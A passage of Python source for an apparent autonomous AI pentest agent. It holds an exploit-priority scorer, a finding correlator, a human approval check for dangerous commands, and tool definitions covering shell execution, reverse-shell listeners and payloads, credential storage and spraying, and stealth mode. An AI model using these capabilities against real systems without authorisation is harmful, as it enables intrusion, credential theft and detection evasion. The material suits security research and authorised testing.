        """Pipeline throughput stats."""
        with self._lock:
            total = len(self._pipeline)
            by_stage = {}
            for e in self._pipeline:
                by_stage[e["stage"]] = by_stage.get(e["stage"], 0) + 1
            return {"total": total, "by_stage": by_stage}

    def summary_for_prompt(self):
        stats = self.get_stats()
        if stats["total"] == 0:
            return "  No findings in validation pipeline."
        parts = [f"  Pipeline: {stats['total']} total"]
        for stage, count in stats["by_stage"].items():
            parts.append(f"    {stage}: {count}")
        return "\n".join(parts)


# ═════════════════════════════════════════════════════════════════════════
# LLM-Powered Exploit Analysis Engine  (RAPTOR-inspired)
# ═════════════════════════════════════════════════════════════════════════

class ExploitAnalyzer:
    """Score and rank findings by Impact × Exploitability / Detection Time.
    Uses structured analysis without requiring an extra LLM call — the scoring
    is deterministic based on attributes the agent already collected."""

    # Impact weights by severity
    IMPACT_SCORES = {
        "CRITICAL": 10, "HIGH": 8, "MEDIUM": 5, "LOW": 2, "INFO": 0,
    }

    # Exploitability modifiers
    EXPLOIT_MODIFIERS = {
        "public_exploit": 2.0,     # known ExploitDB / Metasploit module
        "auth_required": 0.5,      # needs authentication
        "network_accessible": 1.5, # reachable over network
        "local_only": 0.3,         # requires local access
        "user_interaction": 0.7,   # requires user action
        "no_interaction": 1.3,     # fully automated
        "default_creds": 1.8,      # default credentials available
        "version_match": 1.5,      # exact version confirmed vulnerable
    }

    def __init__(self):
        self._analyses: list = []
        self._lock = threading.Lock()

    def analyze(self, finding_id, title, severity, category,
                exploit_available=False, auth_required=False,
                network_accessible=True, user_interaction=False,
                default_creds=False, version_match=False,
                detection_hours=24, raw_evidence=""):
        """Score a finding and produce a structured analysis."""
        impact = self.IMPACT_SCORES.get(severity.upper(), 0)

        exploitability = 1.0
        modifiers_applied = []
        if exploit_available:
            exploitability *= self.EXPLOIT_MODIFIERS["public_exploit"]
            modifiers_applied.append("public_exploit")
        if auth_required:
            exploitability *= self.EXPLOIT_MODIFIERS["auth_required"]
            modifiers_applied.append("auth_required")
        if network_accessible:
            exploitability *= self.EXPLOIT_MODIFIERS["network_accessible"]
            modifiers_applied.append("network_accessible")
        else:
            exploitability *= self.EXPLOIT_MODIFIERS["local_only"]
            modifiers_applied.append("local_only")
        if user_interaction:
            exploitability *= self.EXPLOIT_MODIFIERS["user_interaction"]
            modifiers_applied.append("user_interaction")
        else:
            exploitability *= self.EXPLOIT_MODIFIERS["no_interaction"]
            modifiers_applied.append("no_interaction")
        if default_creds:
            exploitability *= self.EXPLOIT_MODIFIERS["default_creds"]
            modifiers_applied.append("default_creds")
        if version_match:
            exploitability *= self.EXPLOIT_MODIFIERS["version_match"]
            modifiers_applied.append("version_match")

        detection_factor = max(1, detection_hours)
        risk_score = round((impact * exploitability) / (detection_factor / 24), 2)

        # Priority ranking
        if risk_score >= 15:
            priority = "P1-IMMEDIATE"
        elif risk_score >= 8:
            priority = "P2-HIGH"
        elif risk_score >= 3:
            priority = "P3-MEDIUM"
        else:
            priority = "P4-LOW"

        analysis = {
            "finding_id": finding_id,
            "title": title,
            "severity": severity.upper(),
            "category": category,
            "impact_score": impact,
            "exploitability": round(exploitability, 2),
            "detection_hours": detection_hours,
            "risk_score": risk_score,
            "priority": priority,
            "modifiers": modifiers_applied,
            "recommendation": self._generate_recommendation(
                priority, exploit_available, auth_required, category
            ),
            "evidence_snippet": raw_evidence[:500],
            "timestamp": datetime.datetime.now().isoformat(),
        }

        with self._lock:
            self._analyses.append(analysis)
        return analysis

    def _generate_recommendation(self, priority, exploit_avail, auth_req, category):
        if priority == "P1-IMMEDIATE":
            return ("EXPLOIT IMMEDIATELY — high-impact, low-effort vulnerability. "
                    "Attempt exploitation to confirm impact, then document with full evidence.")
        elif priority == "P2-HIGH":
            if exploit_avail:
                return ("Public exploit available — search ExploitDB/Metasploit for modules, "
                        "validate version match, and attempt controlled exploitation.")
            return ("High-value target — invest time in manual exploitation. "
                    "Check for chained attack paths and credential reuse opportunities.")
        elif priority == "P3-MEDIUM":
            return ("Document finding with evidence. Attempt exploitation if time permits. "
                    "Consider as part of a chained attack path.")
        else:
            return "Log as informational. Low exploitation potential in current context."

    def get_ranked(self):
        """Return all analyses ranked by risk_score descending."""
        with self._lock:
            return sorted(self._analyses, key=lambda x: x["risk_score"], reverse=True)

    def get_top_n(self, n=5):
        return self.get_ranked()[:n]

    def summary_for_prompt(self):
        ranked = self.get_ranked()
        if not ranked:
            return "  No exploit analyses yet."
        lines = [f"  Exploit Analysis: {len(ranked)} findings scored"]
        for a in ranked[:5]:
            lines.append(
                f"  [{a['priority']}] {a['title'][:40]} "
                f"(risk={a['risk_score']}, impact={a['impact_score']}, "
                f"exploit={a['exploitability']})"
            )
        if len(ranked) > 5:
            lines.append(f"  ... +{len(ranked) - 5} more")
        return "\n".join(lines)


# ═════════════════════════════════════════════════════════════════════════
# Finding Correlation & Deduplication Engine
# ═════════════════════════════════════════════════════════════════════════

class FindingCorrelator:
    """Correlate findings across multiple tools, deduplicate, and boost
    confidence when independent tools agree on the same vulnerability."""

    def __init__(self):
        self._entries: list = []   # raw entries from different tools
        self._correlated: list = []  # merged/correlated groups
        self._lock = threading.Lock()

    def add_entry(self, title, tool_name, port="", service="", cve="",
                  severity="", host="", raw_snippet=""):
        """Add a raw finding from a specific tool."""
        entry = {
            "id": str(uuid.uuid4())[:8],
            "title": title.strip(),
            "tool": tool_name,
            "port": str(port),
            "service": service,
            "cve": cve.upper() if cve else "",
            "severity": severity.upper() if severity else "",
            "host": host,
            "snippet": raw_snippet[:500],
            "timestamp": datetime.datetime.now().isoformat(),
        }
        with self._lock:
            self._entries.append(entry)
        return entry

    def correlate(self):
        """Run correlation: group entries by (host+port+CVE) or (host+port+service+title_sim).
        Returns list of correlated finding groups."""
        with self._lock:
            entries = list(self._entries)

        groups = {}
        for entry in entries:
            # Primary key: CVE match (strongest correlation)
            if entry["cve"]:
                key = f"{entry['host']}:{entry['port']}:{entry['cve']}"
            else:
                # Secondary key: port + service + normalised title keywords
                title_norm = self._normalize_title(entry["title"])
                key = f"{entry['host']}:{entry['port']}:{entry['service']}:{title_norm}"

            if key not in groups:
                groups[key] = {
                    "key": key,
                    "entries": [],
                    "tools": set(),
                    "cves": set(),
                    "severities": [],
                    "best_title": "",
                    "confidence": 0.0,
                    "host": entry["host"],
                    "port": entry["port"],
                    "service": entry["service"],
                }
            g = groups[key]
            g["entries"].append(entry)
            g["tools"].add(entry["tool"])
            if entry["cve"]:
                g["cves"].add(entry["cve"])
            if entry["severity"]:
                g["severities"].append(entry["severity"])

        # Score each group
        correlated = []
        for key, g in groups.items():
            tool_count = len(g["tools"])
            # Confidence: more tools confirming = higher confidence
            if tool_count >= 3:
                g["confidence"] = 0.95
            elif tool_count == 2:
                g["confidence"] = 0.80
            else:
                g["confidence"] = 0.50

            # Boost for CVE match
            if g["cves"]:
                g["confidence"] = min(1.0, g["confidence"] + 0.1)

            # Best title: prefer the most descriptive one
            g["best_title"] = max(
                [e["title"] for e in g["entries"]],
                key=len
            )

            # Highest severity wins
            sev_order = {"CRITICAL": 5, "HIGH": 4, "MEDIUM": 3, "LOW": 2, "INFO": 1}
            if g["severities"]:
                g["best_severity"] = max(
                    g["severities"],
                    key=lambda s: sev_order.get(s, 0)
                )
            else:
                g["best_severity"] = "INFO"

            # Convert sets to lists for JSON
            g["tools"] = sorted(g["tools"])
            g["cves"] = sorted(g["cves"])

            correlated.append(g)

        # Sort by confidence * severity descending
        correlated.sort(
            key=lambda x: x["confidence"] * sev_order.get(x["best_severity"], 0),
            reverse=True,
        )

        with self._lock:
            self._correlated = correlated
        return correlated

    @staticmethod
    def _normalize_title(title):
        """Normalize a finding title for fuzzy matching."""
        # Remove tool-specific prefixes and noise
        title = title.lower().strip()
        for prefix in ("cve-", "vulnerability:", "vuln:", "finding:",
                        "[critical]", "[high]", "[medium]", "[low]"):
            title = title.replace(prefix, "")
        # Keep only alphanumeric + spaces, collapse whitespace
        title = re.sub(r"[^a-z0-9\s]", " ", title)
        title = re.sub(r"\s+", " ", title).strip()
        # Take first 5 significant words for matching
        words = [w for w in title.split() if len(w) > 2][:5]
        return " ".join(sorted(words))

    def get_correlated(self):
        with self._lock:
            return list(self._correlated)

    def get_high_confidence(self, threshold=0.75):
        with self._lock:
            return [g for g in self._correlated if g["confidence"] >= threshold]

    def get_stats(self):
        with self._lock:
            raw = len(self._entries)
            groups = len(self._correlated)
            multi_tool = sum(1 for g in self._correlated if len(g["tools"]) > 1)
            return {
                "raw_entries": raw,
                "correlated_groups": groups,
                "multi_tool_confirmed": multi_tool,
                "dedup_ratio": f"{((raw - groups) / max(raw, 1)) * 100:.0f}%" if raw else "0%",
            }

    def summary_for_prompt(self):
        stats = self.get_stats()
        if stats["raw_entries"] == 0:
            return "  No findings correlated yet."
        lines = [
            f"  Correlation: {stats['raw_entries']} raw → {stats['correlated_groups']} unique "
            f"({stats['dedup_ratio']} dedup)",
            f"  Multi-tool confirmed: {stats['multi_tool_confirmed']}",
        ]
        hc = self.get_high_confidence()
        if hc:
            lines.append(f"  High-confidence findings ({len(hc)}):")
            for g in hc[:3]:
                lines.append(
                    f"    [{g['best_severity']}] {g['best_title'][:50]} "
                    f"(tools: {', '.join(g['tools'])}, conf: {g['confidence']:.0%})"
                )
        return "\n".join(lines)


# ═════════════════════════════════════════════════════════════════════════
# Safety Controls
# ═════════════════════════════════════════════════════════════════════════

def is_dangerous(command):
    """Check if a command matches any dangerous pattern."""
    for pattern in DANGEROUS_PATTERNS:
        if re.search(pattern, command, re.IGNORECASE):
            return True
    return False


def request_approval(command):
    """Ask the user to approve a dangerous command. Returns True if approved."""
    print()
    print(f"  {YEL}{B}[SAFETY]{R}  Dangerous command detected:")
    print(f"  {RED}{command}{R}")
    try:
        resp = input(f"  {YEL}Approve? (y/N): {R}").strip().lower()
    except (EOFError, KeyboardInterrupt):
        return False
    return resp in ("y", "yes")


def truncate_output(text, max_chars=MAX_OUTPUT_CHARS):
    """Truncate long output to fit within LLM context limits."""
    if len(text) <= max_chars:
        return text
    half = max_chars // 2
    return (
        text[:half]
        + f"\n\n... [{len(text) - max_chars} characters truncated] ...\n\n"
        + text[-half:]
    )


# ═════════════════════════════════════════════════════════════════════════
# LLM Tool Definitions
# ═════════════════════════════════════════════════════════════════════════

AGENT_TOOLS_SCHEMA = [
    {
        "name": "run_command",
        "description": (
            "Execute a bash command on the attack box. Use this for running "
            "any pentest tool (nmap, sqlmap, nikto, etc.), system commands, "
            "file operations, or pipeline commands. The command runs in a "
            "non-interactive shell."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "command": {
                    "type": "string",
                    "description": "The bash command to execute",
                },
                "timeout": {
                    "type": "integer",
                    "description": "Timeout in seconds (default: 120, max: 600)",
                },
            },
            "required": ["command"],
        },
    },
    {
        "name": "run_script",
        "description": (
            "Write and execute a Python script on the attack box. Use this "
            "for custom exploits, data processing, or multi-step operations "
            "that are easier in Python than bash."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "script": {
                    "type": "string",
                    "description": "Python script content",
                },
                "filename": {
                    "type": "string",
                    "description": "Script filename (default: agent_script.py)",
                },
            },
            "required": ["script"],
        },
    },
    {
        "name": "install_tool",
        "description": (
            "Install a security tool on the attack box. Supports apt, pip, "
            "go install, and git clone."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "tool_name": {
                    "type": "string",
                    "description": "Name of the tool to install",
                },
                "method": {
                    "type": "string",
                    "enum": ["apt", "pip", "go", "git"],
                    "description": "Installation method",
                },
                "source": {
                    "type": "string",
                    "description": "Source URL for git clone or go install path",
                },
            },
            "required": ["tool_name", "method"],
        },
    },
    {
        "name": "read_file",
        "description": (
            "Read the contents of a file on the attack box. Useful for "
            "reading scan results, configs, exploit output, etc."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "path": {
                    "type": "string",
                    "description": "Absolute path to the file",
                },
                "max_lines": {
                    "type": "integer",
                    "description": "Max lines to read (default: 200)",
                },
            },
            "required": ["path"],
        },
    },
    {
        "name": "write_file",
        "description": (
            "Write content to a file on the attack box. Use for creating "
            "wordlists, exploit scripts, config files, etc."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "path": {
                    "type": "string",
                    "description": "Absolute path to write to",
                },
                "content": {
                    "type": "string",
                    "description": "File content",
                },
            },
            "required": ["path", "content"],
        },
    },
    {
        "name": "report_finding",
        "description": (
            "Report a security finding discovered during the penetration "
            "test. Use this every time you confirm a vulnerability. "
            "Findings are included in the final pentest report."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "title": {
                    "type": "string",
                    "description": "Short title (e.g., 'SQL Injection in login form')",
                },
                "severity": {
                    "type": "string",
                    "enum": ["CRITICAL", "HIGH", "MEDIUM", "LOW", "INFO"],
                    "description": "Severity level",
                },
                "category": {
                    "type": "string",
                    "description": "Category (SQLi, XSS, RCE, IDOR, Misconfig, etc.)",
                },
                "description": {
                    "type": "string",
                    "description": "Detailed description of the vulnerability",
                },
                "evidence": {
                    "type": "string",
                    "description": "Evidence — command output, payloads used, etc.",
                },
                "recommendation": {
                    "type": "string",
                    "description": "Remediation recommendation",
                },
                "cvss": {
                    "type": "string",
                    "description": "CVSS 3.1 score (e.g., '9.8') if applicable",
                },
            },
            "required": ["title", "severity", "category", "description"],
        },
    },
    {
        "name": "ask_user",
        "description": (
            "Ask the user a question when you need clarification, approval "
            "for a risky action, or additional information (e.g., credentials, "
            "scope confirmation)."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "question": {
                    "type": "string",
                    "description": "The question to ask the user",
                },
            },
            "required": ["question"],
        },
    },

    # ── Tier 1 tools: subagents, credentials, shells, playbooks ───

    {
        "name": "spawn_subagent",
        "description": (
            "Spawn a background subagent to work on a specific task in "
            "parallel. Use this to run long-running or independent tasks "
            "concurrently (e.g., directory brute-force while you do "
            "subdomain enumeration). The subagent runs independently and "
            "reports findings back."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "task": {
                    "type": "string",
                    "description": "Detailed task description for the subagent",
                },
            },
            "required": ["task"],
        },
    },
    {
        "name": "store_credential",
        "description": (
            "Store a discovered credential in the vault for reuse across "
            "tools and phases. Store every credential you discover — "
            "passwords, hashes, tokens, API keys, SSH keys, cookies."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "username": {
                    "type": "string",
                    "description": "Username or account identifier",
                },
                "secret": {
                    "type": "string",
                    "description": "Password, hash, token, or key value",
                },
                "cred_type": {
                    "type": "string",
                    "enum": ["password", "hash", "token", "key", "cookie"],
                    "description": "Type of credential",
                },
                "target": {
                    "type": "string",
                    "description": "Target host/service (e.g., 'ssh://10.0.0.1')",
                },
                "source": {
                    "type": "string",
                    "description": "How it was obtained (e.g., 'hydra brute-force')",
                },
            },
            "required": ["username", "secret", "cred_type"],
        },
    },
    {
        "name": "list_credentials",
        "description": (
            "List all credentials stored in the vault. Use this to find "
            "credentials for reuse — e.g., try SSH creds on other services, "
            "or use discovered hashes for pass-the-hash attacks."
        ),
        "input_schema": {
            "type": "object",
            "properties": {},
        },
    },
    {
        "name": "open_shell",
        "description": (
            "Open a named persistent shell session. Use this to maintain "
            "separate shells for different purposes — e.g., 'recon' for "
            "scanning, 'exploit' for exploitation, 'listener' for catching "
            "reverse shells."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "name": {
                    "type": "string",
                    "description": "Name for the shell (e.g., 'recon', 'exploit')",
                },
            },
            "required": ["name"],
        },
    },
    {
        "name": "run_in_shell",
        "description": (
            "Run a command in a specific named shell. Use this when you "
            "need to keep commands in context-specific sessions."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "shell_name": {
                    "type": "string",
                    "description": "Name of the target shell",
                },
                "command": {
                    "type": "string",
                    "description": "Command to execute",
                },
                "timeout": {
                    "type": "integer",
                    "description": "Timeout in seconds (default: 120)",
                },
            },
            "required": ["shell_name", "command"],
        },
    },
    {
        "name": "use_playbook",
        "description": (
            "Load a methodology playbook to guide the pentest. Available "
            "playbooks: 'webapp' (Web Application), 'network' (Network), "
            "'api' (API Security), 'ad' (Active Directory), 'cloud' (Cloud). "
            "The playbook provides a structured methodology to follow."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "playbook": {
                    "type": "string",
                    "enum": ["webapp", "network", "api", "ad", "cloud"],
                    "description": "Playbook to load",
                },
            },
            "required": ["playbook"],
        },
    },

    # ── Tier 2 tools: detection, exploit search, revshell, phalanx ──

    {
        "name": "detect_tools",
        "description": (
            "Scan the attack box to detect which pentest tools are installed. "
            "Returns a list of installed and missing tools. Use this early in "
            "the pentest to know what is available."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "tools": {
                    "type": "array",
                    "items": {"type": "string"},
                    "description": "List of tool names to check (empty = check all)",
                },
            },
        },
    },
    {
        "name": "search_exploits",
        "description": (
            "Search for known exploits and CVEs for a service/product/version "
            "using searchsploit (ExploitDB). Use this after discovering "
            "service versions via nmap to find applicable exploits."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "query": {
                    "type": "string",
                    "description": "Search query (e.g., 'Apache 2.4.41', 'OpenSSH 8.2', 'vsftpd 2.3.4')",
                },
            },
            "required": ["query"],
        },
    },
    {
        "name": "start_listener",
        "description": (
            "Start a netcat reverse shell listener on the attack box. Use "
            "this before attempting exploitation that results in a reverse "
            "shell callback."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "name": {
                    "type": "string",
                    "description": "Name for the listener (e.g., 'main', 'priv_esc')",
                },
                "port": {
                    "type": "integer",
                    "description": "Port to listen on",
                },
                "proto": {
                    "type": "string",
                    "enum": ["tcp", "udp"],
                    "description": "Protocol (default: tcp)",
                },
            },
            "required": ["name", "port"],
        },
    },
    {
        "name": "stop_listener",
        "description": "Stop a running reverse shell listener.",
        "input_schema": {
            "type": "object",
            "properties": {
                "name": {
                    "type": "string",
                    "description": "Name of the listener to stop",
                },
            },
            "required": ["name"],
        },
    },
    {
        "name": "check_listener",
        "description": (
            "Check if a reverse shell listener has caught a connection. "
            "Returns the listener's log output."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "name": {
                    "type": "string",
                    "description": "Name of the listener to check",
                },
            },
            "required": ["name"],
        },
    },
    {
        "name": "generate_payload",
        "description": (
            "Generate reverse shell payloads for various languages (bash, "
            "python, nc, php, perl, powershell). Returns ready-to-use "
            "one-liners pointing to your listener."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "lhost": {
                    "type": "string",
                    "description": "Your attack box IP (listener host)",
                },
                "lport": {
                    "type": "integer",
                    "description": "Your listener port",
                },
            },
            "required": ["lhost", "lport"],
        },
    },
    {
        "name": "run_phalanx_scanner",
        "description": (
            "Run a Phalanx Cyber security scanner against the target. "
            "Available scanners: " +
            ", ".join(f"'{k}' ({v['name']})" for k, v in PHALANX_SCANNERS.items()) +
            ". These are specialized scanners for SAST, API, cloud, and CVE detection."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "scanner": {
                    "type": "string",
                    "enum": list(PHALANX_SCANNERS.keys()),
                    "description": "Scanner to run",
                },
                "target_path": {
                    "type": "string",
                    "description": "Target path or URL for the scanner",
                },
            },
            "required": ["scanner", "target_path"],
        },
    },

    # ── Tier 3 tools: progress, compliance, stealth ──────────────

    {
        "name": "set_phase",
        "description": (
            "Mark the current pentest phase. Phases: 'recon' (Reconnaissance), "
            "'vuln_analysis' (Vulnerability Analysis), 'exploitation', "
            "'post_exploit' (Post-Exploitation), 'reporting'. Call this when "
            "transitioning between methodology phases."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "phase": {
                    "type": "string",
                    "enum": ["recon", "vuln_analysis", "exploitation",
                             "post_exploit", "reporting"],
                    "description": "Phase to activate",
                },
                "note": {
                    "type": "string",
                    "description": "Optional note about the phase transition",
                },
            },
            "required": ["phase"],
        },
    },
    {
        "name": "get_compliance_map",
        "description": (
            "Get compliance framework mapping for a finding category. "
            "Returns OWASP Top 10, PTES, NIST 800-53, and CWE mappings. "
            "Use this when reporting findings to include compliance context."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "category": {
                    "type": "string",
                    "description": "Finding category (SQLi, XSS, RCE, Auth, IDOR, Misconfig, etc.)",
                },
            },
            "required": ["category"],
        },
    },
    {
        "name": "toggle_stealth",
        "description": (
            "Toggle stealth mode on/off. When on, commands are rate-limited "
            "and stealth flags are auto-applied to pentest tools (e.g., "
            "nmap -sS -T2 -f, sqlmap --delay=2 --random-agent)."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "enabled": {
                    "type": "boolean",
                    "description": "Enable (true) or disable (false) stealth mode",
                },
                "delay": {
                    "type": "number",
                    "description": "Base delay between commands in seconds (default: 2)",
                },
            },
            "required": ["enabled"],
        },
    },

    # ── Tier 4 tools: recon pipeline, exploit select, cred spray, attack graph

    {
        "name": "run_recon_pipeline",
        "description": (
            "Run an autonomous reconnaissance pipeline that auto-chains "
            "multiple tools in sequence. Pipelines: 'full' (nmap, whatweb, "
            "wafw00f, nikto, ffuf, nuclei), 'quick' (nmap, whatweb, ffuf), "
            "'subdomain' (subfinder, httpx), 'stealth' (slow nmap, whatweb). "
            "Returns aggregated output from all tools."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "pipeline": {
                    "type": "string",
                    "enum": ["full", "quick", "subdomain", "stealth"],
                    "description": "Pipeline type to run",
                },
                "target": {
                    "type": "string",
                    "description": "Target IP, hostname, or URL",
                },
            },
            "required": ["pipeline", "target"],
        },
    },
    {
        "name": "smart_exploit_search",
        "description": (
            "Parse nmap output to extract service versions, search ExploitDB "
            "for each, and return ranked exploit recommendations. Feed this "
            "the raw nmap output and it will find the best exploits."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "nmap_output": {
                    "type": "string",
                    "description": "Raw nmap scan output to parse for services",
                },
            },
            "required": ["nmap_output"],
        },
    },
    {
        "name": "credential_spray",
        "description": (
            "Spray all credentials from the vault against discovered services "
            "using hydra. Supports: SSH, FTP, HTTP, SMB, RDP, MySQL, MSSQL, "
            "PostgreSQL, Telnet, VNC, SMTP, POP3, IMAP, LDAP. Provide the "
            "list of services discovered during recon."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "target": {
                    "type": "string",
                    "description": "Target IP or hostname",
                },
                "services": {
                    "type": "array",
                    "items": {
                        "type": "object",
                        "properties": {
                            "port": {"type": "string"},
                            "service": {"type": "string"},
                        },
                    },
                    "description": "List of {port, service} discovered by nmap",
                },
            },
            "required": ["target", "services"],
        },
    },
    {
        "name": "add_attack_step",
        "description": (
            "Record a step in the attack graph / kill chain. Use this to "
            "document the attack path as you progress. Stages: initial_access, "
            "execution, persistence, priv_escalation, defense_evasion, "
            "cred_access, discovery, lateral_movement, collection, "
            "exfiltration, impact."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "stage": {
                    "type": "string",
                    "enum": [s[0] for s in KILL_CHAIN_STAGES],
                    "description": "Kill chain stage",
                },
                "technique": {
                    "type": "string",
                    "description": "Attack technique used (e.g., 'SQL Injection', 'Pass-the-Hash')",
                },
                "description": {
                    "type": "string",
                    "description": "What was done and what was achieved",
                },
                "source_host": {
                    "type": "string",
                    "description": "Source host (attacker or pivot)",
                },
                "target_host": {
                    "type": "string",
                    "description": "Target host",
                },
                "evidence": {
                    "type": "string",
                    "description": "Key evidence (command output snippet)",
                },
            },
            "required": ["stage", "technique", "description"],
        },
    },
    # ── Tier 5 — Validation, Analysis & Correlation ─────────────────
    {
        "name": "validate_finding",
        "description": (
            "Submit a potential vulnerability to the multi-stage validation pipeline. "
            "The pipeline tracks findings through 6 stages: inventory → analysis → "
            "sanity_check → ruling → feasibility → validated. Use this BEFORE "
            "report_finding to eliminate false positives and build confidence."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "title": {"type": "string", "description": "Finding title"},
                "raw_output": {"type": "string", "description": "Raw tool output as evidence"},
                "tool_name": {"type": "string", "description": "Tool that found this (e.g., nmap, nikto, nuclei)"},
                "target_host": {"type": "string", "description": "Target host/IP"},
                "port": {"type": "string", "description": "Port number if applicable"},
                "service": {"type": "string", "description": "Service name (e.g., http, ssh, mysql)"},
                "cve": {"type": "string", "description": "CVE identifier if known (e.g., CVE-2021-44228)"},
                "action": {
                    "type": "string",
                    "enum": ["ingest", "advance", "reject", "status"],
                    "description": "Pipeline action: ingest (new), advance (next stage), reject (false positive), status (show pipeline)",
                },
                "finding_id": {"type": "string", "description": "Finding ID (for advance/reject actions)"},
                "new_stage": {
                    "type": "string",
                    "enum": ["analysis", "sanity_check", "ruling", "feasibility", "validated"],
                    "description": "Target stage (for advance action)",
                },
                "confidence": {"type": "number", "description": "Confidence score 0.0-1.0 (for advance action)"},
                "severity": {"type": "string", "enum": ["CRITICAL", "HIGH", "MEDIUM", "LOW", "INFO"], "description": "Severity (for advance/ruling action)"},
                "notes": {"type": "string", "description": "Validation notes explaining the decision"},
            },
            "required": ["action"],
        },
    },
    {
        "name": "analyze_exploit",
        "description": (
            "Score and rank a confirmed finding by Impact × Exploitability / Detection Time. "
            "Returns a structured risk analysis with priority rating (P1-P4) and "
            "recommended next action. Use this after validation to prioritize exploitation order."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "finding_id": {"type": "string", "description": "Finding or validation pipeline ID"},
                "title": {"type": "string", "description": "Finding title"},
                "severity": {"type": "string", "enum": ["CRITICAL", "HIGH", "MEDIUM", "LOW", "INFO"]},
                "category": {"type": "string", "description": "Finding category (e.g., SQLi, RCE, XSS)"},
                "exploit_available": {"type": "boolean", "description": "Is a public exploit available (ExploitDB, Metasploit)?"},
                "auth_required": {"type": "boolean", "description": "Does exploitation require authentication?"},
                "network_accessible": {"type": "boolean", "description": "Is the vulnerability network-accessible?"},
                "user_interaction": {"type": "boolean", "description": "Does exploitation require user interaction?"},
                "default_creds": {"type": "boolean", "description": "Are default credentials involved?"},
                "version_match": {"type": "boolean", "description": "Is the exact vulnerable version confirmed?"},
                "detection_hours": {"type": "number", "description": "Estimated hours for blue team to detect exploitation (default: 24)"},
                "raw_evidence": {"type": "string", "description": "Key evidence snippet"},
            },
            "required": ["title", "severity", "category"],
        },
    },
    {
        "name": "correlate_findings",
        "description": (
            "Add a raw finding to the correlation engine OR run correlation to "
            "deduplicate and group findings across tools. When multiple tools "
            "(nmap, nikto, nuclei, etc.) report the same issue, correlation boosts "
            "confidence and deduplicates. Use 'add' to feed entries, 'correlate' to process."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "action": {
                    "type": "string",
                    "enum": ["add", "correlate", "status"],
                    "description": "Action: add (new entry), correlate (run engine), status (show stats)",
                },
                "title": {"type": "string", "description": "Finding title (for add)"},
                "tool_name": {"type": "string", "description": "Source tool (for add)"},
                "port": {"type": "string", "description": "Port (for add)"},
                "service": {"type": "string", "description": "Service name (for add)"},
                "cve": {"type": "string", "description": "CVE if known (for add)"},
                "severity": {"type": "string", "description": "Severity (for add)"},
                "host": {"type": "string", "description": "Target host (for add)"},
                "raw_snippet": {"type": "string", "description": "Evidence snippet (for add)"},
            },
            "required": ["action"],
        },
    },
    {
        "name": "manage_tasks",
        "description": (
            "Maintain the Pentest Task Tree — your persistent plan and to-do list. "
            "The tree (NOT the chat history, which is trimmed on long runs) is your "
            "source of truth for what remains. At the start of the engagement, "
            "decompose the OBJECTIVE into tasks/subtasks with action='add_many'. As "
            "you work, mark tasks 'in_progress' then 'done' with action='update', and "
            "add newly discovered tasks (e.g. one per newly found service or host). "
            "Consult the tree before deciding the next step."
        ),
        "input_schema": {
            "type": "object",
            "properties": {
                "action": {
                    "type": "string",
                    "enum": ["add", "add_many", "update", "list"],
                    "description": "add (one task), add_many (a list of subtasks), update (change status/title/note), list (show the tree)",
                },
                "title": {"type": "string", "description": "Task title (for add / update)"},
                "titles": {"type": "array", "items": {"type": "string"}, "description": "Task titles (for add_many)"},
                "parent_id": {"type": "string", "description": "Parent task id to nest under (for add / add_many)"},
                "task_id": {"type": "string", "description": "Task id to modify (for update)"},
                "status": {"type": "string", "enum": ["todo", "in_progress", "done", "blocked", "skipped"], "description": "Task status (for add / update)"},
                "priority": {"type": "string", "description": "Optional priority label e.g. P1/high (for add / update)"},
                "note": {"type": "string", "description": "Optional short note (for add / update)"},
            },
            "required": ["action"],
        },
    },
]


# ═════════════════════════════════════════════════════════════════════════
# LLM Providers
# ═════════════════════════════════════════════════════════════════════════

def _claude_tools():
    """Convert tool schema to Claude format."""
    return AGENT_TOOLS_SCHEMA


def _openai_tools():
    """Convert tool schema to OpenAI function-calling format."""
    tools = []
    for t in AGENT_TOOLS_SCHEMA:
        tools.append({
            "type": "function",
            "function": {
                "name": t["name"],
                "description": t["description"],
                "parameters": t["input_schema"],
            },
        })
    return tools


class ClaudeProvider:
    """Anthropic Claude LLM provider with tool calling."""

    def __init__(self, api_key=None, model="claude-sonnet-4-20250514"):
        if not HAS_ANTHROPIC:
            raise ImportError(
                "'anthropic' package required.\n"
                "  Install with:  pip install anthropic"
            )
        self.api_key = api_key or os.environ.get("ANTHROPIC_API_KEY", "")
        if not self.api_key:
            self.api_key = getpass.getpass("Anthropic API key: ")
        self.model = model
        self.client = anthropic.Anthropic(api_key=self.api_key)

    def call(self, messages, system_prompt):
        """
        Call Claude with messages and tools.
        Returns list of content blocks (text or tool_use).
        """
        response = self.client.messages.create(
            model=self.model,
            max_tokens=4096,
            system=system_prompt,
            messages=messages,
            tools=_claude_tools(),
        )
        return response.content, response.stop_reason

    @staticmethod
    def format_tool_result(tool_use_id, result_text):
        """Format a tool result message for Claude."""
        return {
            "role": "user",
            "content": [
                {
                    "type": "tool_result",
                    "tool_use_id": tool_use_id,
                    "content": result_text,
                }
            ],
        }

    @staticmethod
    def format_assistant_message(content_blocks):
